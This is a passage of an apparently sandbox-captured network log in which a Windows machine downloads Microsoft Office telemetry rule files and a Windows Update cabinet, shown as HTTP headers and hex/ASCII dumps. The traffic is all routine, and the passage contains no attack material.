2024-11-20 06:48:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064857Z-185f5d8b95cdh56ghC1NYCk1x400000003s0000000005s87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:58 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:58 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064858Z-1777c6cb7549x5qchC1TEBggbg000000097g00000000desv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:58 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064858Z-185f5d8b95c96jn4hC1NYCbgp800000009tg00000000gm2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:58 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:58 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064858Z-185f5d8b95c4bhwphC1NYCs8gw00000009xg00000000kgrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:58 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:58 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064858Z-1777c6cb7544n7p6hC1TEByvb400000009e00000000033qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:58 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:58 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064858Z-1777c6cb7544n7p6hC1TEByvb400000009a000000000erzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:58 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49783	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lg4yWFCfH96z2zn&MD=8g3MH63Y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 06:48:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 1d7bf464-1111-4da8-9817-366a2ee50794 MS-RequestId: 2ac85d9c-894d-4508-977a-71a2baf3970b MS-CV: WkhSn9c83UOrLnrn.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 06:48:58 GMT Connection: close Content-Length: 30005
2024-11-20 06:48:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 06:48:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:59 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064859Z-185f5d8b95cdtclvhC1NYC4rmc0000000a0g000000009ppk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:59 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064859Z-185f5d8b95cf7qddhC1NYC66an00000009v000000000hw7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:59 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:59 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064859Z-185f5d8b95c4vwv8hC1NYCy4v400000009y000000000fevq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:59 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:59 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:59 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064859Z-185f5d8b95cp7lkfhC1NYC7rpw00000009y000000000fdrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:59 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:59 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
